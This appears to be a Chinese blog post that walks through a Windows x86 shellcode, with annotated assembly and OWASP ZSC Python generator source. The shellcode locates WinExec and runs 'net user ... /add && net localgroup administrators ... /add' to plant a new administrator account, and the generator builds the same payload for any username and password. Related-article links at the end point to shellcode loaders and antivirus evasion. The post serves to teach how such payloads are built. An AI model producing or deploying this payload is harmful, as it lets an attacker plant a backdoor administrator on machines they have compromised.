前言

  • 在上一篇文章上使用到的添加用户的shellcode是怎么得到的呢?
  • 先来拆分一下汇编的功能
;寻找kernel32.dll的基地址
xor ecx,ecx
mov eax,dword ptr fs:[ecx+30h] ; EAX = PEB
mov eax,dword ptr [eax+0Ch] ; EAX = PEB->Ldr
mov esi,dword ptr [eax+14h] ; ESI = PEB->Ldr.InMemOrder
lods dword ptr [esi] ; EAX = Second module
xchg eax,esi ; EAX = ESI, ESI = EAX
lods dword ptr [esi] ; EAX = Third(kernel32)
mov ebx,dword ptr [eax+10h] ; EBX = Base address
;查找kernel32.dll的导出表
mov edx,dword ptr [ebx+3Ch] ; EDX = DOS->e_lfanew
add edx,ebx ; EDX = PE Header
mov edx,dword ptr [edx+78h] ; EDX = Offset export table
add edx,ebx; EDX = Export table
mov esi,dword ptr [edx+20h] ; ESI = Offset names table
add esi,ebx; ESI = Names table
xor ecx,ecx ; EXC = 0
;循环查找GetProcAddress函数
Get_Function:
inc ecx; Increment the ordinal
lods dword ptr [esi]; Get name offset
add eax,ebx ; Get function name
cmp dword ptr [eax],50746547h ; GetProcAddress
jne 0012FE9B;Get_Function
cmp dword ptr [eax+4],41636F72h; rocAddress
jne 0012FE9B;Get_Function
cmp dword ptr [eax+8],65726464h; ddress
jne 0012FE9B;Get_Function
;寻找GetProcAddress 函数
mov esi,dword ptr [edx+24h]; ESI = Offset ordinals
add esi,ebx ; ESI = Ordinals table
mov cx,word ptr [esi+ecx*2] ; CX = Number of function
dec ecx
mov esi,dword ptr [edx+1Ch]; ESI = Offset address table
add esi,ebx; ESI = Address table
mov edx,dword ptr [esi+ecx*4] ; EDX = Pointer(offset)
add edx,ebx ; EDX = GetProcAddress
push ebx;PUSH kernel32.Base address
push edx;PUSH kernel32.GetProcAddress
;寻找WinExec函数地址
xor ecx,ecx ; ECX = 0
push ecx; PUSH ECX
mov ecx,61636578h;string acex
push ecx;PUSH ECX
sub dword ptr [esp+3],61h;Remove "a" ESP=&0012FE18--->string xec
push 456E6957h;string EniW
push esp;PUSH ESP WinExec
push ebx;PUSH EBX kernel32.Base address
call edx;CALL GetProcAddress
add esp,8;ESP+8
pop ecx;ECX=0
push eax;PUSH EAX-->kernel32.WinExec Addresss
;赋值命令行字符串
xor ecx,ecx;ECX=0
push ecx;PUSH ECX
push 64646190h;string dda[90]
pop ecx;ECX=string dda[90]
shr ecx,8;ECX=00646461 string dda
push ecx;PUSH ECX
push 2F20746Bh
push 2073726Fh
push 74617274h
push 73696E69h
push 6D646120h
push 70756F72h
push 676C6163h
push 6F6C2074h
push 656E2026h
push 26206464h
push 612F2074h
push 6B20746Bh
push 20726573h
push 75207465h
push 6E20632Fh
push 20657865h
push 2E646D63h
xor ebx,ebx;EBX=0
mov ebx,esp;EBX="cmd.exe /c net user kt kt /add && net localgroup administrators kt /add"
xor ecx,ecx;ECX=0
inc ecx;EXC=1
push ecx;PUSH ECX=1
push ebx;PUSH EBX="cmd.exe /c net user kt kt /add && net localgroup administrators kt /add"
call eax;CALL WinExec
;堆栈平衡
add esp,50h;ESP+50h
pop edx;EDX=kernel32.GetProcAddress
pop ebx;EBX=kernel32.Base Address
;退出程序
xor ecx,ecx;ECX=0
mov ecx,61737365h;string asse
push ecx;PUSH ECX
sub dword ptr [esp+3],61h;Remove "a"
push 636F7250h;string ; Proc
push 74697845h;string ; Exit
push esp;string "ExitProcess"
push ebx;kernel32.dll base address
call edx; GetProcAddress(Exec)
xor ecx,ecx; ECX = 0
push ecx; Return code = 0
call eax; ExitProcess

OWASP-ZSC部分源码

  • 添加用户的汇编指令
#!/usr/bin/env python
'''
OWASP ZSC
https://www.owasp.org/index.php/OWASP_ZSC_Tool_Project
https://github.com/zscproject/OWASP-ZSC
http://api.z3r0d4y.com/
https://groups.google.com/d/forum/owasp-zsc [ owasp-zsc[at]googlegroups[dot]com ]
'''
from core import stack
from math import ceil def add_admin(command_hex, command):
return '''
xor %ecx,%ecx
mov %fs:0x30(%ecx),%eax
mov 0xc(%eax),%eax
mov 0x14(%eax),%esi
lods %ds:(%esi),%eax
xchg %eax,%esi
lods %ds:(%esi),%eax
mov 0x10(%eax),%ebx
mov 0x3c(%ebx),%edx
add %ebx,%edx
mov 0x78(%edx),%edx
add %ebx,%edx
mov 0x20(%edx),%esi
add %ebx,%esi
xor %ecx,%ecx
inc %ecx
lods %ds:(%esi),%eax
add %ebx,%eax
cmpl $0x50746547,(%eax)
jne 23 <.text+0x23>
cmpl $0x41636f72,0x4(%eax)
jne 23 <.text+0x23>
cmpl $0x65726464,0x8(%eax)
jne 23 <.text+0x23>
mov 0x24(%edx),%esi
add %ebx,%esi
mov (%esi,%ecx,2),%cx
dec %ecx
mov 0x1c(%edx),%esi
add %ebx,%esi
mov (%esi,%ecx,4),%edx
add %ebx,%edx
push %ebx
push %edx
xor %ecx,%ecx
push %ecx
mov $0x61636578,%ecx
push %ecx
subl $0x61,0x3(%esp)
push $0x456e6957
push %esp
push %ebx
call *%edx
add $0x8,%esp
pop %ecx
push %eax
xor %ecx,%ecx
push %ecx
{0}
xor %ebx,%ebx
mov %esp,%ebx
xor %ecx,%ecx
inc %ecx
push %ecx
push %ebx
call *%eax
add ${1},%esp
pop %edx
pop %ebx
xor %ecx,%ecx
mov $0x61737365,%ecx
push %ecx
subl $0x61,0x3(%esp)
push $0x636f7250
push $0x74697845
push %esp
push %ebx
call *%edx
xor %ecx,%ecx
push %ecx
call *%eax
'''.format(command_hex, hex(int(8 + 4 * (ceil(len(command) / float(4)))))) def run(data):
username = data[0]
passsword = data[1]
command = "cmd.exe /c net user " + username + " " + passsword + " /add && net localgroup administrators " + username + " /add"
return add_admin(stack.generate(command, "%ecx", "string"), command)
  • 拿到用户和密码后拼接成添加用户名的命令行,调用核心模块里的generate函数,生成要执行的命令行存进ecx寄存器里,再根据命令行十六进制的长度提升堆栈空间。

  • generate函数的源码

def generate(data, register, gtype):
length = len(data)
if gtype == 'int':
flag_8 = True
try:
data = hex(int(data, 8))
except:
flag_8 = False
if flag_8 is False:
try:
data = hex(int(data, 16))
except:
error('hex or digit required!\nExit\n')
sys.exit(0)
if gtype == 'string':
data = st(data)
if length <= 3:
if gtype == 'string':
data = str('0x') + str(data)
if len(data) % 2 is not 0:
data = data.replace('0x', '0x0')
if len(data) is 8:
data = data + '90\npop %s\nshr $0x8,%s\npush %s\n' % (
register, register, register)
if len(data) is 6:
data = data + '9090\npop %s\nshr $0x10,%s\npush %s\n' % (
register, register, register)
if len(data) is 4:
data = data + '909090\npop %s\nshr $0x10,%s\nshr $0x8,%s\npush %s\n' % (
register, register, register, register)
data = str('push $') + str(data)
if length >= 4:
if gtype == 'int':
data = data[2:]
stack_content = data
shr_counter = len(stack_content) % 8
shr = None
if shr_counter is 2:
shr = '\npop %s\nshr $0x10,%s\nshr $0x8,%s\npush %s\n' % (
register, register, register, register)
stack_content = stack_content[0:2] + '909090' + stack_content[2:]
if shr_counter is 4:
shr = '\npop %s\nshr $0x10,%s\npush %s\n' % (register, register,
register)
stack_content = stack_content[0:4] + '9090' + stack_content[4:]
if shr_counter is 6:
shr = '\npop %s\nshr $0x8,%s\npush %s\n' % (register, register,
register)
stack_content = stack_content[0:6] + '90' + stack_content[6:]
zshr = shr
m = int(len(stack_content))
n = int(len(stack_content) / 8)
file_shellcode = ''
if (len(stack_content) % 8) is 0:
shr_n = 0
r = ''
while (n is not 0):
if shr is not None:
shr_n += 1
zx = m - 8
file_shellcode = 'push $0x' + str(stack_content[
zx:m]) + '\n' + file_shellcode
m -= 8
n = n - 1
shr = None
if shr is None:
shr_n += 1
zx = m - 8
file_shellcode = 'push $0x' + str(stack_content[
zx:m]) + '\n' + file_shellcode
m -= 8
n = n - 1
if zshr is None:
file_z = file_shellcode
if zshr is not None:
rep1 = file_shellcode[:16]
rep2 = rep1 + zshr
file_z = file_shellcode.replace(rep1, rep2)
data = file_z
return data
  • 接受三个参数,data, register, gtype分别是数据,存储到哪一个寄存器,数据类型。

ShellCode模板的更多相关文章

  1. luajit利用ffi结合C语言实现面向对象的封装库

    luajit中.利用ffi能够嵌入C.眼下luajit的最新版是2.0.4,在这之前的版本号我还不清楚这个扩展库详细怎么样,只是在2.04中,真的非常爽.  既然是嵌入C代码.那么要说让lua支持 ...

  2. payload分离免杀

    shellcode loader 借助第三方加载器,将shellcode加载到内存中来执行. https://github.com/clinicallyinane/shellcode_launcher ...

  3. CVE-2012-0158 漏洞分析报告

      Office 2003 sp3(CVE-2012-0158)漏洞分析报告   软件名称:Office 2003 sp3 软件版本:2.0 漏洞模块:MSCOMCTL.ocx 模块版本:2.0.0. ...

  4. Shellcode入门

    Shellcode入门 一.shellcode基础知识 Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限.另外,Shellcode一般是作为 ...

  5. 使用MSF生成shellcode

    使用MSF生成shellcode payload和shellcode的区别 Payload是是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码.因为Payload是包含 ...

  6. 20145332 拓展:注入shellcode实验

    20145332卢鑫 拓展:注入shellcode实验 shellcode基础知识 Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限.另外, ...

  7. pwn 题GDB调试技巧和exp模板

    GDB分析ELF文件常用的调试技巧 gdb常用命令 首先是gbd+文件名 静态调试 ,gdb attach +文件名 动态调试 为了方便查看堆栈和寄存器 最好是安装peda插件 安装 可以通过pip直 ...

  8. 动态加载 ShellCode绕过杀软

    反病毒解决方案用于检测恶意文件,并且通常使用静态分析技术来区分二进制文件的好坏.如果是恶意文件本身包含恶意内容(ShellCode),那么依靠静态分析技术会非常有效,但如果攻击者使用轻量级的stage ...

  9. shellcode 免杀(一)

    工具免杀 选择了几个简单或者近期还有更新的免杀工具进行学习 ShellcodeWrapper https://github.com/Arno0x/ShellcodeWrapper 该工具的原理是使用异 ...

随机推荐

  1. AcWing 858. Prim算法求最小生成树 稀疏图

    //稀疏图 #include <cstring> #include <iostream> #include <algorithm> using namespace ...

  2. Django流程-以登录功能为例

    Django流程-以登录功能为例 一.注意点 1.新创建的app一定要先去settings.py注册 简写:'app01' 完整:'app01.apps.App01Config' 2.启动Django ...

  3. 概率dp 148 D

    概率dp 设 f(i,j)f(i,j) 表示有 ii 只白鼠,jj 只黑鼠时A先手胜的概率 初始状态 全白时,显然先手必胜 有一只黑鼠时,先手若抽到黑鼠则后手必胜,所以先手首回合必须抽到白鼠 f(i, ...

  4. Git - 后续

    1. 概述 现在讲了这些, 也就能应付一下日常的单机操作 后续大概会讲这些内容 分之间的 merge 本地仓库与远程仓库的互动

  5. 删除文件时提示,你需来自SYSTEM的权限

    1. 提示如下 2. 对要删除的文件操作如下 2.1 为删除的文件添加本地账户 2.2 提示如下,多点几次继续就好 2.3 给本地账户添加完全控制权限

  6. java.net.URISyntaxException: Illegal character in query at index 147

    这是url出现了特殊字符,需要将特殊字符进行替换

  7. Azure IoT Hub 十分钟入门系列 (3)- 使用消息路由将原始设备数据记录存档

    本文主要分享一个案例: 10分钟使用消息路由将原始设备数据记录存档 B站视频讲解:https://www.bilibili.com/video/av90223893/ 本文主要有如下内容: 1.理解什 ...

  8. 117. 填充每个节点的下一个右侧节点指针 II

    Q: 给定一个二叉树 struct Node { int val; Node *left; Node *right; Node *next; } 填充它的每个 next 指针,让这个指针指向其下一个右 ...

  9. asp.net 大文件上传配置

    <system.web> <httpRuntime requestValidationMode=" ></httpRuntime> <!--单位:K ...

  10. 极客大挑战 2019 web 部分解

    复现环境:buuoj 0x01:Havefun F12查看源码,明显html注释里是一段php get方式传参数,payload:http://f5cdd431-df98-487f-9400-e8d0 ...